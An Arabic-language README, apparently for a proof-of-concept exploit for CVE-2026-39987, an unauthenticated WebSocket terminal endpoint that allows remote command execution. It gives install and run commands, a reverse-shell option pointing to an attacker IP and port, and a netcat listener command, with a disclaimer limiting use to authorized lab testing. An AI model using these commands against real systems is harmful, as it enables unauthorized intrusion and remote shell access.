
إثبات مفهوم بلغة Python للثغرة CVE-2026-39987، يستغل نقطة نهاية طرفية WebSocket غير مُصادَق عليها لتحقيق تنفيذ أوامر عن بُعد والوصول إلى صدفة عكسية.
إثبات مفهوم لـ CVE-2026-39987، يوضح تنفيذ الأوامر عن بُعد من خلال نقطة نهاية الطرفية WebSocket المصابة بالثغرة.
إخلاء المسؤولية: هذا الإثبات مخصص للاختبار الأمني المصرح به والاستخدام التعليمي فقط. استخدمه فقط ضد الأنظمة التي تملكها أو لديك إذن صريح باختبارها.
تسمح الثغرة لمستخدم غير مصادق عليه بالتفاعل مع نقطة نهاية الطرفية WebSocket الخاصة بالتطبيق وتنفيذ الأوامر عن بُعد.
يتصل الإثبات بـ:
wss://<target>/terminal/ws
ويوضح تنفيذ الأوامر من خلال اتصال WebSocket.
كان الهدف المستخدم أثناء تطوير/اختبار هذا الإثبات عبارة عن بيئة مختبر Hack The Box مصرح بها.
websocket-clientقم بتثبيت المكتبة المطلوبة:
pip3 install websocket-client
python3 test.py <domain>
مثال:
python3 test.py somesite.com
يقوم الإثبات بإنشاء اتصال WebSocket وتنفيذ أمر اختباري.
يدعم الإثبات أيضًا خيار الاتصال العكسي:
python3 exploit.py <domain> --reverse-shell <IP> --port <PORT>
مثال:
python3 exploit.py somesite.com --reverse-shell 10.10.14.5 --port 4444
ابدأ المستمع (listener) قبل تنفيذ الإثبات:
nc -lvnp 4444
يكشف التطبيق عن نقطة نهاية الطرفية WebSocket دون الحاجة إلى مصادقة.
يقوم الإثبات بـ:
يُعد ws.recv() الأولي مهمًا لأن الخادم يرسل موجه الصدفة (shell prompt) فورًا بعد إنشاء الاتصال.